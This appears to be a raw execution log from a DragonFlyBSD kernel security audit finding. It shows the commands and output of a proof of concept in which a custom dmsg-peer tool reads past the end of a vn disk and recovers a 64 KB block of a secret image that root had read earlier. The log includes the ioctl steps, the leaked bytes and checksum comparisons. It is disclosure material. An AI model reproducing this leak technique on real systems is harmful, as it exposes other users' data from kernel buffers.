DragonFlyBSD Kernel Audit
DF-2876 / run.log
← back to finding ↓ download raw
+ dd 'if=/dev/urandom' 'of=/tmp/vnimg' 'bs=1m' 'count=16'
+ printf DF2876-SECRET-MARKER-START
+ dd 'of=/tmp/vnimg' 'bs=1' 'seek=0' 'conv=notrunc'
+ vnconfig -u vn0
+ vnconfig -c vn0 /tmp/vnimg
+ ls -l /dev/vn0
crw-r-----  1 root  operator    8, 0x1e110007 Sep  2 18:17 /dev/vn0
+ diskinfo /dev/vn0
+ head -1
/dev/vn0         blksize=512  offset=0x000000000000 size=0x000001000000   16.00 MB
+ echo '=== seed pbuf pool via physio (root reads the whole secret disk) ==='
=== seed pbuf pool via physio (root reads the whole secret disk) ===
+ tail -1
+ dd 'if=/dev/vn0' 'of=/dev/null' 'bs=64k'
16777216 bytes transferred in 0.003362 secs (4989610490 bytes/sec)
+ echo '=== F3: EOF read via dmsg peer (expect zeros/garbage, NOT our secret) ==='
=== F3: EOF read via dmsg peer (expect zeros/garbage, NOT our secret) ===
+ timeout 30 /tmp/dfpeer eofread /dev/vn0 16777216 65536 /tmp/f3_leak_1.bin
peer: ioctl(DIOCRECLUSTER fd=4)...
peer: attached, peer_fd=5
frame: cmd=80001106 msgid=fffff801175b6e80 err=0 aux=0
frame: cmd=e85fff03 msgid=0000000000010000 err=0 aux=65536
eofread off=16777216 len=65536 -> reply cmd=e85fff03 error=0 resid=65536 aux=65536
aux[0..47]: 7139836520d055d74e9d96057de8688119e223319cbb5d5baac86aa55292a436ce39e4f3d3f8b7014946bafbcb9f170c
aux dumped to /tmp/f3_leak_1.bin
+ md5 /tmp/f3_leak_1.bin
MD5 (/tmp/f3_leak_1.bin) = df48bf56036279af7919a4896841196e
+ timeout 30 /tmp/dfpeer eofread /dev/vn0 16777216 65536 /tmp/f3_leak_2.bin
peer: ioctl(DIOCRECLUSTER fd=4)...
peer: attached, peer_fd=5
frame: cmd=80001106 msgid=fffff801175b7060 err=0 aux=0
frame: cmd=e85fff03 msgid=0000000000010000 err=0 aux=65536
eofread off=16777216 len=65536 -> reply cmd=e85fff03 error=0 resid=65536 aux=65536
aux[0..47]: 111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
aux dumped to /tmp/f3_leak_2.bin
+ md5 /tmp/f3_leak_2.bin
MD5 (/tmp/f3_leak_2.bin) = e0f6792667583bfbe61f245865ce29d3
+ timeout 30 /tmp/dfpeer eofread /dev/vn0 16777216 65536 /tmp/f3_leak_3.bin
peer: ioctl(DIOCRECLUSTER fd=4)...
peer: attached, peer_fd=5
frame: cmd=80001106 msgid=fffff801174fdf00 err=0 aux=0
frame: cmd=e85fff03 msgid=0000000000010000 err=0 aux=65536
eofread off=16777216 len=65536 -> reply cmd=e85fff03 error=0 resid=65536 aux=65536
aux[0..47]: 111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
aux dumped to /tmp/f3_leak_3.bin
+ md5 /tmp/f3_leak_3.bin
MD5 (/tmp/f3_leak_3.bin) = ba147a66d39b3174dabf2d742a059f88
+ echo '=== compare with secret image content ==='
=== compare with secret image content ===
+ dd 'if=/tmp/vnimg' 'of=/tmp/f3_secret.bin' 'bs=64k' 'count=1' 'skip=255'
+ md5 /tmp/f3_secret.bin
MD5 (/tmp/f3_secret.bin) = df48bf56036279af7919a4896841196e
+ cmp -s /tmp/f3_leak_1.bin /tmp/f3_secret.bin
+ echo 'LEAK_RUN_1: FULL_64K_BLOCK_MATCHES_SECRET (deterministic)'
LEAK_RUN_1: FULL_64K_BLOCK_MATCHES_SECRET (deterministic)
+ cmp -s /tmp/f3_leak_2.bin /tmp/f3_secret.bin
+ wc -l
+ cmp -l /tmp/f3_leak_2.bin /tmp/f3_secret.bin
+ n='   65287'
+ echo 'LEAK_RUN_2: diff_bytes=   65287 (65536-n match)'
LEAK_RUN_2: diff_bytes=   65287 (65536-n match)
+ cmp -s /tmp/f3_leak_3.bin /tmp/f3_secret.bin
+ wc -l
+ cmp -l /tmp/f3_leak_3.bin /tmp/f3_secret.bin
+ n='   65294'
+ echo 'LEAK_RUN_3: diff_bytes=   65294 (65536-n match)'
LEAK_RUN_3: diff_bytes=   65294 (65536-n match)
+ echo '=== first 64 bytes of each leak ==='
=== first 64 bytes of each leak ===
+ hexdump -C /tmp/f3_leak_1.bin
+ head -2
00000000  71 39 83 65 20 d0 55 d7  4e 9d 96 05 7d e8 68 81  |q9.e .U.N...}.h.|
00000010  19 e2 23 31 9c bb 5d 5b  aa c8 6a a5 52 92 a4 36  |..#1..][..j.R..6|
+ hexdump -C /tmp/f3_leak_2.bin
+ head -2
00000000  11 11 11 11 11 11 11 11  11 11 11 11 11 11 11 11  |................|
*
+ hexdump -C /tmp/f3_leak_3.bin
+ head -2
00000000  11 11 11 11 11 11 11 11  11 11 11 11 11 11 11 11  |................|
*